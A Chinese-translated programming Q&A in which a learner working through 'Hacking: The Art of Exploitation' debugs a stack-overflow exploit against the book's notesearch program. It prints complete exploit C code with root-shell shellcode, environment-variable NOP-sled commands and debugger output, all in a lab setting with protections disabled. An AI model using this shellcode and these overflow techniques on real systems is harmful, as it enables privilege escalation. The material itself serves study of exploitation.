【发布时间】:2022-01-02 12:42:51
【问题描述】:
我正在研究 Hacking: The Art of Exploitation 并遇到了我的第一个障碍,试图通过环境变量从书中运行一个已知的有效漏洞。所有程序均使用-fno-stack-protector -zexecstack -no-pie -fno-pie编译。
运行exploit_notesearch.c(尽管有一个非常具体的偏移量),我能够通过使用argv[1] 移动偏移量来让漏洞利用来弹出一个shell。这适用于现代操作系统(禁用了 ASLR)以及本书随附的 LiveCD。
exploit_notesearch.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=208;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
在本章的进一步内容中,我们将 shellcode 设置为环境变量,并尝试将流重定向到堆栈中设置 SHELLCODE 环境变量的位置,在前面的 NOP sled 中途。然而,这永远不会在现代操作系统上执行漏洞利用,但在本书随附的 Ubuntu 7.04 live CD 中工作得很好。 shellcode.bin 是 exploit_notesearch.c 文件顶部的 shellcode,与 echo -en 一起运行并重定向到文件中。
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled
在旧操作系统和现代操作系统之间发生了什么变化?是否有一种我不知道的保护措施可以防止将 NOP 雪橇骑到 shellcode 上?
谢谢。
【问题讨论】:
-
您是否尝试使用调试器检查该地址并查看 shellcode 是否确实存在?环境的布局可能已经改变,或者您可能只是设置了其他环境变量来改变事物。相对而言,一个 200 字节的 sled 并不是那么大,因此您没有很大的回旋余地。
-
我做到了。然而,我将尝试扩展 NOP sled - 即使在原始漏洞利用中,我也必须将漏洞利用移动到确切的 shellcode 位置。没有任何达到 60 字节的 nopsled 的摆动空间。不知道我是否错过了什么。
0xbffff22b: "SHELLCODE=", '\220' <repeats 190 times>...(gdb) x/s 0xbffff22b + 1000xbffff28f: '\220' <repeats 110 times>, "\061...$ ./notesearch $(perl -e 'print "\x8f\xf2\xff\xbf"x40') -
dmesg 显示以下内容,所以我假设我正在点击它。
[10472.065801] notesearch[12031]: segfault at 90909090 ip 90909090 sp bfffef0b error 14 -
这条消息看起来好像你设法跳转到地址 90909090。我认为是时候用你的调试器单步执行,看看你是如何到达那里的。
-
感谢您的帮助。堆栈对齐是问题所在。
-mpreferred-stack-boundary=2是 HTAOE CD 和我正在运行的更新版本的 Ubuntu 之间的区别。调整为 2 后,漏洞利用运行顺畅。添加到我完成这本书后要颠覆的事情列表中。
标签: c environment-variables shellcode